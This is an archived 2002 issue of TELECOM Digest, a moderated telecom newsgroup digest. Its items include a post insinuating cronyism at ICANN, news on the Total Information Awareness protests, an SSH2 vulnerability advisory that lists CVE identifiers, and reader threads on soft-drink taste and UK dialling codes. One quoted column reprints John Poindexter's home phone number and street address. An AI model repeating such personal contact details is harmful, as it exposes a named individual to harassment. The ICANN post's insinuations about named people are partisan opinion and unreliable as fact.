TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Jim Fleming Subject: 0:0 .ARPA: The 20th Anniversary of the Internet Date: Sun, 15 Dec 2002 21:20:31 -0600 http://www.ietf.org//mail-archive/ietf/Current/msg18554.html From: Bob Braden ""Vint Cerf was Working the Levers of Power at ARPA."" http://www.interesting-people.org/archives/interesting-people/200212/msg00058.html From: Dave Farber dave@farber.net ""I still have the button and still have the memories..."" Are you saying that the same people have been controlling .ARPA for 20 years ? http://www.iana.org/assignments/as-numbers http://www.iana.org/assignments/ipv4-address-space http://amsterdam.nettime.org/Lists-Archives/nettime-l-9909/msg00035.html @05:19pm 07/06/99-0400, vinton g. cerf wrote: > folks, > I have talked with John Sidgmore. We will try to get $500K > at least ""backup"" in case nothing else in the way of > fundraising works. Mike Nelson, I have copied John Patrick and > Irving Wladawsky-Berger on this message, as well as John Sidgmore. > If IBM and MCI Worldcom can come up with $1M in ""bridge"" funding, > to be paid back at a later time under reasonable terms that will > not harm ICANN, then perhaps we can begin a new fundraising campaign > knowing that we have the ability to back up the campaign with a > rescue effort in the short term. It will be easier for John Sidgmore > to make the case to the MCI Worldcom management if IBM is willing to go > into this with us and split the $1M cost. Is it possible? > I would then launch a campaign with GIP, ITAA, Internet Society, > and other interested groups on the basis that ICANN must succeed > or Internet will be in jeopardy. This ought to play well with any > company whose stock price is dependent on a well-functioning Internet. > Thoughts? > Vint http://www.forbes.com/asap/2002/1007/042_2.html ""They were delighted when I returned later, bringing with me a platoon of Internet gurus, including Esther Dyson, Mitch Kapor, Tony Rutkowski, and Vint Cerf. They sealed us into an electronically impenetrable room to discuss the radical possibility that a good first step in lifting their blackout would be for the CIA to put up a Web site."" http://www.dnso.org/clubpublic/ga-full/Arc11/msg02935.html ""Michael Froomkin - U.Miami School of Law"" wrote: ""I suspect the anti-trust bar will be delighted with this suggestion that competition be rigorously barred from the namespace."" http://www.bizforward.com/wdc/issues/2002-07/forward40/myforward40.shtml by Vint Cerf Senior vice president of Internet Architecture and Technology, WorldCom ""It gets hard to pick out people who have a lot of impact. The people who have money left [are important]."" http://www.pir.org http://www.iana.org/reports/org-report-09dec02.htm ""PIR is a not-for-profit corporation organized under Pennsylvania law to serve as the .org registry operator."" http://www.publicinterestregistry.org/hiring.html http://www.icann-ncc.org/pipermail/discuss/2002-January/001200.html ""By way of full disclosure, I have just recently joined the board of Afilias, but in this matter, my interest resides with fully with ISOC."" http://www.ultradns.com/about/advisors.html Dr. Dave Farber Bill Manning http://www.arin.net/about_us/ab_org_bot.html Bill Manning http://www.iana.org/assignments/ipv4-address-space http://www.cisco.com/warp/public/759/eboard.html Dr. Vint Cerf Sr. VP, Internet Architecture and Technology WorldCom, USA Mr. David Farber The Alfred Fitler Moore Professor of Telecommunication Systems, University of Pennsylvania, USA http://www.icann.org/committees/exec-search/ceo-search-announcement-20nov02.htm http://www.cookreport.com/07.01.shtml ""The IANA Transition Advisory Group (ITAG) is in a sixth ring. This group (Randy Bush, Geoff Huston, Brian Carpenter, John Klensin, Steve Wolff and Dave Farber) is composed primarily of long time close associates of Jon Postel. ITAG is appears to be set up to perform the detailed design of the new IANA corporation. Drafting the articles of Incorporation and the By-Laws is something that has to be well underway right now for there to be a chance for Magaziner's timeline to work. Unfortunately, the pattern being followed is very similar to Jon's appointment of IAHC. ITAG is a closed, top down, appointed group working to revamp the most critical aspects of the Internet. We have seen no sign that, apart from getting initial clearance through Magaziner, the ITAG will do other than present its redesign to the world as a fait accompli. IAHC was the previous such win/lose solution concocted by Jon as IANA."" >>> Date: Thu, 12 Feb 1998 16:30:09 0500 >>> To: ip-sub-1@majordomo.pobox.com >>> From: Dave Farber >>> Subject: IP: itag announcement The Chair of the Internet Architecture Board (IAB), Brian Carpenter, and the Director of the Internet Assigned Numbers Authority (IANA), Jon Postel, jointly announce the formation of the ""IANA Transition Advisors Group"" (ITAG). The ITAG will serve as a set of senior advisors to the IANA during the transition to a new organization with formal status as a non-profit corporation with a board of directors. This group will cease to exist when the board of directors of the new organization has its first meeting. The members of the ITAG have declared themselves as not candidates for the initial IANA board. The ITAG will consist of 6 members. The initial members(*) are: Randy Bush - Verio Brian Carpenter - IBM UK Dave Farber - U Penn Geoff Huston - Telstra John Klensin - MCI Steve Wolff - Cisco * organization affiliation for identification purposes only. http://www.isoc.org/ a ... New! ICANN staff preliminary recommendation: ISOC to manage .ORG. This preliminary report follows an extensive bidding and evaluation process. Cisco Fellow Fred Baker to Chair ISOC's Board of Trustees. http://www.icann.org/minutes/prelim-report-14oct02.htm#SuccessorOperatorfororgRegistry (The Board approved the above resolutions by a 11-1-3 vote, with Mr. Auerbach voting in opposition and Mr. Mueller-Maguhn, Dr. Pisanty, and Dr. Quaynor abstaining. Dr. Blokzijl was not present for this portion of the meeting.) ==== > http://forum.icann.org/org-eval/final-report/pdf00000.pdf PIR - Public Interest Registry - Pennsylvania Gerry Baranano - VP of Sales, Nortel Frode Greisen - RIPE / ISOC > Lawrence H. Landweber - ISOC Alan Levin - AFNOG, AfriDNS Andy Linton - .NZ TLD, Fiji, Niue, APNIC, RIPE David W. Maher - ISOC (IAHC/CORE/etc.) Marc Rotenberg - EPIC Lynn St. Amour - CEO ISOC Afilias (Hal Lubsen - .INFO, IAHC, CORE and Pennsylvania) as the ""Registry"" ... they of course out-source to UltraDNS (Rodney Joffe) ... equipment is being ordered and a January 1st cut-over is planned ... VeriSign is of course, part of Afilias. Dave Faber (Pennsylvania) was of course Jon Postel's thesis advisor and helped to create ICANN as part of the ITAG, following the IAHC fiasco... http://www.ultradns.com/about/advisors.html http://www.interesting-people.org/archives/interesting-people/200209/msg00034.html http://www.washingtonpost.com/wp-srv/politics/campaigns/wh2000/stories/gore032199.htm http://forum.icann.org/org-eval/final-report/msg00009.html ICANN's conduct not only has been, and continues to be, inconsistent with the letter and spirit of its Memorandum of Understanding with the U.S. Department of Commerce, but also amounts to a breach of its obligations under its Registry Agreements with VeriSign, Inc. Roger Cochetti Senior Vice President and Chief Policy Officer ========================== http://www.dnso.org/clubpublic/registrars/Arc01/msg03588.html ""How did we let this happen?"" http://www.markletaskforce.org/ http://aspeninstitute.org/c&s/ipp.html http://www.icann.org/committees/security/ http://www.nanog.org/mtg-0302/call27.html http://www.ietf.org//mail-archive/ietf/Current/msg18152.html ""if they aren't volunteers, they need space, payroll and benefit functions,etc."" http://www.icann-ncc.org/pipermail/discuss/2002-October/002898.html Hansen, Ken ken.hansen@neustar.biz ""I will let the facts speak for themselves."" http://www.icann-ncc.org/pipermail/discuss/2002-October/003018.html David W. Maher dwmaher@attglobal.net ""we look forward to a cooperative approach to foster non commercial use of the Internet through expanded use of the .org domain."" http://news.bbc.co.uk/2/hi/technology/2377447.stm ""US multinationals, which form the backbone of the Irish economy, are thinking long and hard about locating in Ireland because the infrastructure just isn't there.."" http://www.icann.org/tlds/org/applications/isoc/ The number of employees currently employed by the applicant. Eight The applicant's total revenue (in US dollars) in the last-ended fiscal year US$2,552,264 http://www.icann.org/tlds/org/applications/isoc/section2.html#c12 Afilias Limited Office 125 52 Broomhill Road Tallaght, Dublin 24 Ireland Dave Farber was Jon Postel's thesis advisor. Dave Farber was also part of ITAG, which designed ICANN. UltraDNS is of course Rodney Joffe's company. Rodney Joffe placed Jon Postel on the Board of Genuity prior to selling that company. Dave Manning is of course part of ARIN and also USC/ISI IANA and was named in the .WEB lawsuit following the events where Chris Ambler gave Jon Postel a $1,000 check via Bill Manning, who claimed he did not know there was a check, despite supplying Chris Ambler (.WEB) with the envelope to put the check in. UltraDNS and New.Net are also partners. Dave Farber was employed by the FCC during the Clinton administration, during the time when William Daley was running the U.S. Department of Commerce creating ICANN, prior to Daley leaving to run the Al Gore campaign which resulted in Daley attempting to get the votes counted in Florida in Gore's favor. Dave Farber of course was one of the people, along with Vinton Cerf who helped claim that Al Gore invented the Internet. Vinton Cerf was a DARPA funding manager and went to the same high-school as Jon Postel. Vinton Cerf has most recently been an executive at Worldcom (MCI) and also runs ICANN and founded the ISOC. http://www.washingtonpost.com/wp-srv/politics/campaigns/wh2000/stories/gore032199.htm David J. Farber, a professor of computer science at the University of Pennsylvania and one of the early players in the Internet, said that along with the importance of his legislative initiatives, Gore popularized the emerging medium worldwide. Gore aligned himself with high tech long before every lawmaker boasted of his or her personal Web site. He helped popularize the term ""information superhighway,"" drawing on the symbolism of his father's hand in creating the interstate highway system. Vinton G. Cerf, a senior vice president at MCI Worldcom and the person most often called ""the father of the Internet"" for his part in designing the network's common computer language, said in an e-mail interview yesterday, ""I think it is very fair to say that the Internet would not be where it is in the United States without the strong support given to it and related research areas by the vice president in his current role and in his earlier role as senator."" http://www.interesting-people.org/archives/interesting-people/200209/msg00034.html White House Town Hall Meeting Regarding the National Strategy to Secure Cyberspace To be held at the University of Pennsylvania October 3, 2002, 7:00 pm to 9:00 pm Annenberg Center Zellerbach Theatre 3680 Walnut Street Philadelphia, PA 19104 Howard Schmidt, Vice Chairman, President's Critical Infrastructure Protection Board Orson Swindle, Commissioner, Federal Trade Commission David J. Farber, Alfred Fitler Moore Professor of Telecommunication Systems, University of Pennsylvania School of Engineering and Applied Sciences http://www.whitehouse.gov/pcipb http://www.ilpf.org http://www.ilpf.org/conference2002/new_index.html Among the globally recognized experts who will be speaking at the conference are: Commissioner Orson Swindle of the US Federal Trade Commission; U.S. Strategy to Secure Cyberspace Howard Schmidt, Vice Chair, President's Critical Infrastructure Protection Board The Vice Chair of the Board responsible for preparing the US Strategy for Securing Cyberspace, which was made public on Wednesday, September 18, 2002 http://www.ilpf.org/conference2002/schedule.html http://www.nanog.org/mtg-0302/call27.html Your .ORG tax dollars at work ===================================== http://www.icannwatch.org Big Changes Coming to ICANNWatch Thanks to Markle Grant http://aspeninstitute.org/c&s/ipp.html David Johnson Wilmer, Cutler, & Pickering, Mark MacCarthy VISA U.S.A., Inc., Izumi Aizu Asia Network Research, Inc., Ramsen Betfarhad House Energy & Commerce Committee, Zo� Baird The Markle Foundation, Tara Lemmey LENS Ventures, Esther Dyson EDventure Holdings, Inc. ======================================== http://www.icann.org/udrp/udrp-second-staff-report-24oct99.htm ========================== http://www.pir.org =========================================================== http://www.cookreport.com/06.06.shtml ""Rodney Joffe, the CTO of Genuity, was kind enough to answer our questions about Jon's involvement with Genuity. He explained that he prevailed on Jon to join his Board after he sold Bechtel a 75% interest in Genuity. He did so in order for Jon to make it very clear to Bechtel management the kinds of behavior that were appropriate in order to be a good citizen within the Internet community. He also stated that Jon said while he would advise Bechtel about of some ways in which it could improve the Internet community, he would never permit himself to be involved in advising Bechtel how to improve its own interests."" [TELECOM Digest Editor's Note: Now, go back and read it all again, more carefully this time ... note some of the names, and the usual cast of characters involved in the charade ... its getting more and more messy every day isn't it? Its been a long time since I printed a single word about ICANN, Vint ('cerf the net') Cerf, Esther Dyson and their other cronies here in *this* Digest, and I am not sure I want to get started now. But it is good to keep updated now and then on the mess, so I decided to include it here, today. PAT] ------------------------------ Date: Sun, 15 Dec 2002 23:37:46 -0500 From: Monty Solomon Subject: Keeping Track of John Poindexter By Paul Boutin 02:00 AM Dec. 14, 2002 PT The head of the government's Total Information Awareness project, which aims to root out potential terrorists by aggregating credit-card, travel, medical, school and other records of everyone in the United States, has himself become a target of personal data profiling. Online pranksters, taking their lead from a San Francisco journalist, are publishing John Poindexter's home phone number, photos of his house and other personal information to protest the TIA program. Matt Smith, a columnist for SF Weekly, printed the material -- which he says is all publicly available -- in a recent column: ""Optimistically, I dialed John and Linda Poindexter's number -- (301) 424-6613 -- at their home at 10 Barrington Fare in Rockville, Md., hoping the good admiral and excused criminal might be able to offer some insight,"" Smith wrote. http://www.wired.com/news/politics/0,1283,56860,00.html [TELECOM Digest Editors's Note: This is a *good* article to read, and reminds me of how I 'outed' the Spam King years ago. PAT] ------------------------------ Date: Sun, 15 Dec 2002 23:49:53 -0500 From: Monty Solomon Subject: As Internet Use Rises, Families Without Access Lag Behind THE CHALKBOARD By Laura Pappano, 12/15/2002 Parent Deborah Burnett is forever checking Marblehead Middle School's Web site or e-mailing daughter Jessica's seventh-grade teachers. ""I have one teacher I'm going to e-mail tonight because we are missing each other; she has been calling me at work and I call her and she is in the classroom,"" said Burnett of Hyde Park, whose daughter participates in the Metropolitan Council for Educational Opportunity, or Metco, the 36-year-old program sending urban children to suburban schools. At many schools today, directories list parents' e-mail addresses, used for activities as varied as sounding an alarm about a local education issue, checking in with teachers, or getting out birthday or social invitations. Schools also are putting more information on Web sites, guarding against papers lost between school and home or left in the backpack. Some teachers have their own Web site on which parents can view homework assignments. Internet use is coming of age - not just in schools, but around school communities. But what if you're not hooked up? http://www.boston.com/dailyglobe2/349/learning/As_Internet_use_rises_families_without_access_lag_behind+.shtml ------------------------------ Date: Mon, 16 Dec 2002 07:58:11 -0500 From: Monty Solomon Subject: Obituary Notice: Cell Phone Billionaire McCaw Dies - Dec 16, 2002 06:04 AM (AP Online) Keith McCaw, a billionaire whose family helped create a cellular-phone empire, was found dead in a hottub in his lakeside Seattle mansion. He was 49. Reached in Auckland, New Zealand, family spokesman Bob Ratliffe told The Associated Press late Sunday that McCaw had died early that morning. Police and firefighters received a 911 call of a possible drowning in the block where McCaw's mansion sits near Lake Washington. Paramedics tried to revive him, but he was pronounced dead at the scene. The cause of death was not immediately known. - http://finance.lycos.com/home/news/story.asp?story=30566776 ------------------------------ Date: Mon, 16 Dec 2002 08:41:50 -0500 From: Monty Solomon Subject: BT Tunes Into Music Download Craze With Net Venture By Bernhard Warner, European Internet Correspondent LONDON, Dec 16 (Reuters) - BT Group (ISEL:BT), Britain's dominant fixed line telecoms firm, is aiming to cash in on the music download craze, launching on Monday a subscription-based Internet service called ""dotmusic on demand."" The venture, a partnership between BT and OD2, the British technology firm co-founded by musician Peter Gabriel, will enable BT to sell music downloads and audio streams of up to 120,000 songs on BT's new music site www.dotmusic.com. - http://finance.lycos.com/home/news/story.asp?story=30568984 ------------------------------ Date: Mon, 16 Dec 2002 09:01:00 -0500 From: Monty Solomon Subject: Australian Ruling is Raising Worries By Mark Jurkowitz, Globe Staff, 12/16/2002 A number of concerned First Amendment advocates say a landmark libel decision by the Australian High Court may have the effect of erecting a fence on the borderless information frontier opened up by Internet technology. The Dec. 10 ruling concluded that an Australian businessman, Joseph Gutnick, could sue Dow Jones for defamation in Australia based on a Barron's magazine story that emanated from the company's computer servers in New Jersey. Although, as attorney Harvey Silverglate explains, defamation cases have traditionally been brought 'in the jurisdiction where the speech is uttered or published or where you targeted it,' the ruling effectively expanded that jurisdiction in the online world to where a story can be downloaded. The case involves a 'United States media publication which is really focused on United States markets and United States investors' and 'a journalist who operated completely out of the United States,' says Stuart Karle, a Dow Jones associate general counsel. ''This dramatically changes how you can communicate within this country.' Several observers expressed the fear that the ruling would subject American journalism to legal challenges in countries with a far more restrictive view of the First Amendment - or else simply act as a deterrent to publication for that very reason. http://www.boston.com/dailyglobe2/350/business/Australian_ruling_is_raising_worries+.shtml ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Vulnerabilities in SSH2 Implementations from Multiple Vendors Date: Mon, 16 Dec 2002 12:08:55 -0500 Rapid 7 Advisory R7-0009 Vulnerabilities in SSH2 Implementations from Multiple Vendors Published: December 16, 2002 Revision: 1.0 http://www.rapid7.com/advisories/R7-0009.txt CERT: CA-2002-36 http://www.cert.org/advisories/CA-2002-36.html CVE: Multiple CVE CANs assigned: o CAN-2002-1357 (incorrect length) o CAN-2002-1358 (lists with empty elements/empty strings) o CAN-2002-1359 (large packets and large fields) o CAN-2002-1360 (string fields with zeros) http://www.rapid7.com/advisories/R7-0009.txt ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject:Why Copyright Today Threatens Intellectual Freedom Date: Mon, 16 Dec 2002 12:20:37 -0500 MEDIA ADVISORY December 12, 2002 Contact Information: Marjorie Heins, Director, Free Expression Policy Project, 212.807.6222 x 12 Stephanie Elizondo Griest, Communications Director, Free Expression Policy Project, 212.807.6222 x 17 FREE EXPRESSION THINK TANK RELEASES GUIDE TO COPYRIGHT BATTLES Should teenagers be allowed to swap music over the Internet? Should computer hackers be permitted to decrypt the entertainment industry's electronic locks on e-books, songs, or movies? Where should we draw the line between rewarding creativity through the copyright system and society's competing interest in the free flow of ideas? In light of these and other concerns which have become the subject of heated debate in Congress, academia, and the arts and entertainment industries, the Free Expression Policy Project announces its release of ""The Progress of Science and Useful Arts"": Why Copyright Today Threatens Intellectual Freedom. This 71-page policy report -- available now online at www.fepproject.org/policyreports/copyright.html demystifies such complex laws as the 1998 Sonny Bono Copyright Term Extension Act and Digital Millennium Copyright Act, and deconstructs the underlying conflicts over ""fair use,"" parody, copying, and the public domain. The report contains eight recommendations for a better-balanced public policy on copyright and free expression. What with the U.S. government prosecuting a Russian company for creating a device to decrypt electronic books, and entertainment companies trying to shut down file-sharing programs like Grokster and KaZaA, this timely report will be an invaluable guide to the copyright battles that lie ahead. Founded in 2000, the Free Expression Policy Project is a think tank on artistic and intellectual freedom that seeks free-speech friendly solutions to the concerns that drive censorship campaigns. For more information about copyright and other free expression issues, visit www.fepproject.org. ------------------------------ From: mike_20878@hotmail.com (Michael S. Rosen) Subject: Panasonic Answering Machine Answers With Fax-Like Tone Date: 16 Dec 2002 10:33:10 -0800 Organization: http://groups.google.com/ Frequently my Panasonic answer machine (model KX-TG2583W) will answer with what sounds like a fax or data tone. I've experimented and determined that it appears to happen when a message is recorded and the phone rings immediately afterward. Customer support gave me some steps to do to reset the unit but it did nothing. Has anybody encountered this type of thing before? Thanks, Michael ------------------------------ From: John Higdon Subject: Re: The Farce of National Branding Organization: Green Hills and Cows Date: Mon, 16 Dec 2002 11:34:15 -0800 In article , johnl@iecc.com (John R. Levine) wrote: > Coke and Pepsi bottlers have monopoly territorial contracts with the > Coke and Pepsi companies. The main companies make the concentrated > syrup from the infamous secret formulae. They sell the syrup to the > bottlers who dilute it with fizz water and put it in bottles and cans. > The license is a license to use the trademarks and to dilute the > syrup, not to make the product from scratch. However, have you noticed that Coke and Pepsi taste differently in various regions? It takes no special talent to recognize the difference between a Bay Area canned Coke and one canned in Atlanta. Why would that be? John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: Because some of the bottlers are using less or more syrup than the 'secret formula' calls for. At the DeFever Rexall Drug Store downtown here, they mix drinks manually at the fountain. That is, they put in the ice for the glass, push a pump to add the syrup, then hold the glass under the fizz water faucet to finish filling the glass. Some of them do it correctly; others either add too much syrup or not enough before adding the fizz water. Its all acceptable, but some taste better than others. If you complain, they will dilute the mixture a little better, either adding a bit more syrup or a bit more water or ice or whatever. With the bottling plants, I suspect they are trying to be cheap and get by with less syrup. PAT] ------------------------------ From: John Higdon Subject: Re: Top Notch Advisers Fail to Pull Off Satellite Merger Organization: Green Hills and Cows Date: Sun, 15 Dec 2002 21:11:58 -0800 In article , Monty Solomon wrote: > The marriage would have combined Hughes' DirecTV with EchoStar's > DISH network, but 15 months of efforts finally came to nought this > week when both parties agreed to break it off in the face of stiff > opposition from authorities. And let the champaign corks fly. At least now we can still have some competition somewhere in the communications business. In all the verbiage put forth from the merger propaganda department, I had never heard one word about how I, an existing customer, would benefit from Echostar buying out Hughes. Not one. I had to assume that there would be no benefit. But that is normal in mergers: customers seldom benefit and frequently suffer. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: capricorn75@softhome.net (Ree) Subject: For Sale: VoIP Billing Software Date: 16 Dec 2002 06:51:25 -0800 Organization: http://groups.google.com/ We offer Billing Software for: Call Accounting, Post-paid Billing, Prepaid Billing Prepaid Calling Card Operation and Inter-gateway Settlement Need support by installation? Technical support? You'll appreciate the price and simplicity of using! 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Townson Nextel/Motorola Showcase Enhancements to iDEN Technology (Monty Solomon) Re: Call Waiting Prison and Telemarketers (jbl) Re: The Farce of National Branding (Steven J. Sobol) Re: The Farce of National Branding (tonypo1@cox.net) Re: The Farce of National Branding (Ron Chapman) Re: The Farce of National Branding (jbl) Re: The Farce of National Branding (David Clayton) Re: 011+ From NANP vs. 00+ From Most of World (Richard D G Cox) Re: 011+ From NANP vs. 00+ From Most of World (Phil McKerracher) Re: 011+ From NANP vs. 00+ From Most of World (Scott D Fybush) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. 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Nextel Executive Vice President and Chief Financial Officer Paul Saleh will kick off the technology update. According to Saleh, ""By strategically investing in the iDEN platform, we're able to provide an excellent wireless experience for our customers while generating a better return on our investment. This is a win for our customers, our employees, and our stockholders."" Nextel is working with Motorola on two significant technical projects- nearly doubling the voice capacity of Nextel's interconnect network, and expanding the Direct Connect(TM) digital walkie-talkie feature to make it possible to conduct two-way radio calls nationwide. ""We're progressing on schedule, while exceeding our expectations for quality,"" said Barry West, senior vice president and chief technical officer of Nextel. West states that Nextel has tested the next phase of Motorola's voice coder software which will nearly double the capacity of the company's wireless interconnect network, and the calls on the new software sound superb. Also referred to as a ""6:1 voice coder"" since it allows six cellular calls to be conducted concurrently over a single radio channel, the companies affirmed the new technology will be delivered on time in the first quarter of 2003, with third quarter commercial roll-out. - http://finance.lycos.com/home/news/story.asp?story=30584023 ------------------------------ From: jbl Subject: Re: Call Waiting Prison and Telemarketers Date: Mon, 16 Dec 2002 21:44:04 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , PAT answers Geoffrey Welsh: > Where would we be without this new technology?!? > [TELECOM Digest Editor's Note: I wonder if it occurs to some of these > 'comedians' that occassionally two people are chatting about nothing > in particular and occassionally an important call may come in for > one or the other of them and they will wish to yeild their aimless conver- > sation in order to receive the important call? PAT] Well, with CW at the least you know someone is trying to reach you. If you answer it, then you also know who. That's what the new technology gets you. /JBL [TELECOM Digest Editor's Note: Yeah, really it is ideal for folks where one line is not enough, yet two lines is too many. This idea of one and a half lines works out fine. But one caveat: If there are two or three guys living together in one house, but only one phone line with 'call waiting' (which would seem okay), then invariably, when the call waiting arrives, the call is going to be for one of the other people there, so someone has to yield the line or be imposed upon as a result. Call waiting only really works when you have a single person in a house who can realistically only talk on one call at a time. When you get a second or third person there in residence, or have heavy use on the phone (for example a modem or fax) then you really need to have two or three actual phone lines. Ideally they would be in a hunt group, so that any resident there could have the flexibility of overflow in calls at any time. PAT] ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: The Farce of National Branding Date: Mon, 16 Dec 2002 20:01:18 -0000 Organization: JustThe.net LLC John Higdon expostulated: > Oh, you have offices in your own region? PacBell, excuse me, SBC closed > everything in California. I don't think it is possible to speak to > anyone who isn't physically located in Texas. Yes. Ameritech's corporate hq was in Schaumburg IL, outside Chicago, but Ameritech Ohio (the former Ohio Bell Telephone) still has its corporate office at 45 Erieview Plaza downtown. That may change soon, and of course Ameritech Ohio reports to SBC corporate... Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: tonypo1@cox.net Subject: Re: The Farce of National Branding Organization: The Ace Tomatoe and Cement Company Date: Mon, 16 Dec 2002 22:56:11 GMT In article , no- spam@amadeus.kome.com says: > In article , johnl@iecc.com (John > R. Levine) wrote: >> Coke and Pepsi bottlers have monopoly territorial contracts with the >> Coke and Pepsi companies. The main companies make the concentrated >> syrup from the infamous secret formulae. They sell the syrup to the >> bottlers who dilute it with fizz water and put it in bottles and cans. >> The license is a license to use the trademarks and to dilute the >> syrup, not to make the product from scratch. > However, have you noticed that Coke and Pepsi taste differently in > various regions? It takes no special talent to recognize the > difference between a Bay Area canned Coke and one canned in Atlanta. > Why would that be? It has to do with the water used to make the carbonated water in the first place. I can recall that when Coca Cola moved their bottling plant from Providence, RI to Needham, MA you could literally taste the difference. Tony ------------------------------ Date: Mon, 16 Dec 2002 22:23:18 -0500 From: Ron Chapman Subject: Re: The Farce of National Branding In article , John Higdon wrote: >> Coke and Pepsi bottlers have monopoly territorial contracts with the >> Coke and Pepsi companies. The main companies make the concentrated >> syrup from the infamous secret formulae. They sell the syrup to the >> bottlers who dilute it with fizz water and put it in bottles and cans. >> The license is a license to use the trademarks and to dilute the >> syrup, not to make the product from scratch. > However, have you noticed that Coke and Pepsi taste differently in > various regions? It takes no special talent to recognize the > difference between a Bay Area canned Coke and one canned in Atlanta. > Why would that be? *I* have never noticed that, and *I* am a Coca Cola fanatic. I love the stuff. I knew back in 1979 when they were making the switch from cane sugar to corn syrup; I didn't know that's what they were doing, but I knew damn well there was A level Coke and there was B level Coke. In fact, I now order the real stuff from the net. Expensive, but worth it. Trust me, I'd notice such differences if they existed. You may perceive such differences, but that doesn't mean such differences exist. By the way, have you noticed that fountain Coke tastes different, by and large, than canned Coke? Have you noticed that one restaurant's fountain Coke tastes different than another restaurant's fountain Coke? It comes down to (a) the choice of the restaurant for how much syrup to dispense, and/or (b) the hand of the service guy who maintains the fountain. Just like everyone's hand is slightly different when pounding out Morse code, every fountain service guy is slightly different. I expect similar things are happening from one bottling plant to another. But if you control the mixing process, it is not true that there are differences due strictly to region. It's all the same syrup. You know that, you just refuse to admit it. John, you're now rolling into the realm of the ridiculous in order to try to keep your ""national branding is a farce"" assertion alive at any cost. Face it: what you assert isn't the case. It is in your world, but your world is a tiny, tiny place relative to the whole world at large. You can't take what's happened in the telecom world over the past several years and apply it to the rest of the world. The telecom world is weirder than most can imagine, and stranger than anyone could sit down and invent. ------------------------------ From: jbl Subject: Re: The Farce of National Branding Date: Mon, 16 Dec 2002 21:41:41 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , John Higdon wrote: > However, have you noticed that Coke and Pepsi taste differently in > various regions? It takes no special talent to recognize the > difference between a Bay Area canned Coke and one canned in Atlanta. > Why would that be? > [TELECOM Digest Editor's Note: Because some of the bottlers are using > less or more syrup than the 'secret formula' calls for. {snip} PAT] I understand that Coke bottled in Hawaii tastes different too, because it's sweetened with sugar instead of corn syrup. /JBL (or is that a myth? I don't think the seekrit syrup comes sweetened -- I seem to recall seeing rail tank cars of corn syrup parked next to the bottling plant I used to drive by - /J) ------------------------------ From: David Clayton Subject: Re: The Farce of National Branding Date: Tue, 17 Dec 2002 14:24:06 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au John Higdon contributed the following: > In article , johnl@iecc.com (John > R. Levine) wrote: >> Coke and Pepsi bottlers have monopoly territorial contracts with the >> Coke and Pepsi companies. The main companies make the concentrated >> syrup from the infamous secret formulae. They sell the syrup to the >> bottlers who dilute it with fizz water and put it in bottles and cans. >> The license is a license to use the trademarks and to dilute the >> syrup, not to make the product from scratch. > However, have you noticed that Coke and Pepsi taste differently in > various regions? It takes no special talent to recognize the > difference between a Bay Area canned Coke and one canned in Atlanta. > Why would that be? > [TELECOM Digest Editor's Note: Because some of the bottlers are using > less or more syrup than the 'secret formula' calls for. At the DeFever > Rexall Drug Store downtown here, they mix drinks manually at the > fountain. That is, they put in the ice for the glass, push a pump > to add the syrup, then hold the glass under the fizz water faucet > to finish filling the glass. Some of them do it correctly; others > either add too much syrup or not enough before adding the fizz > water. Its all acceptable, but some taste better than others. If > you complain, they will dilute the mixture a little better, either > adding a bit more syrup or a bit more water or ice or whatever. > With the bottling plants, I suspect they are trying to be cheap and > get by with less syrup. PAT] Another reason is the ""raw material"" used with the postmix and drink manufacturing, the water. In Australia, the quality and taste of city water can vary considerably, and sometimes this is reflected in the products manufactured or mixed in those particular places. In one example I remember clearly, a few years ago Brisbane was in the middle of a significant drought which resulted in a lot of chlorine being added to the water supply to keep it potable, and you could certainly taste it in postmix Coke and other drinks. The various chemicals and minerals in different water supplies can have all sorts of reactions with various beverages, some more noticable than others. Regards, David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ Date: Mon, 16 Dec 2002 21:58:13 GMT From: Richard D G Cox Subject: Re: 011+ From NANP vs. 00+ From Most of World Reply-To: nospam@numbering.com Organization: Mandarin Technology Limited At 10:55 UT on Mon, 16 Dec 2002 Alan Burkitt-Gray wrote > It's a mess that hasn't really been sorted out since the latest > changes. More than half the population of London still seems to > think they have two area codes (0207 and 0208, replacing the old > 0171 and 0181, replacing the even older 071 and 081) followed by > seven-digit local numbers, rather than a London-wide code, 020, > followed by eight-digit local numbers. This has been put to the Regulator (OFTEL) on a number of occasions but the regime currently there refuses to do anything to help put this right. Perhaps the new UK regulator, (OFCOM), may feel the need to be more customer-friendly once they have ""come into being"". > The publicity never really got across that the old area code > split was being abolished. This to a large extent down to how the Telcos - mainly BT - are seen to be using the codes themselves! But let me be very clear that the ""mess"" you refer to is solely a result of bad publicity-handling ... and not indicative of anything wrong with the actual numbering scheme. This new scheme will settle down - these are perhaps only early days! > I'd be interested to know if a similar situation applies in > Northern Ireland and in Portsmouth/Southampton. Northern Ireland: NO -- because most of the numbers were not straight transpositions. There were a LOT of 5-digit local numbers there that had to have variations on the standard change algorithm. Portsmouth etc: YES, because they behave largely like London/Cardiff etc. > Considering that 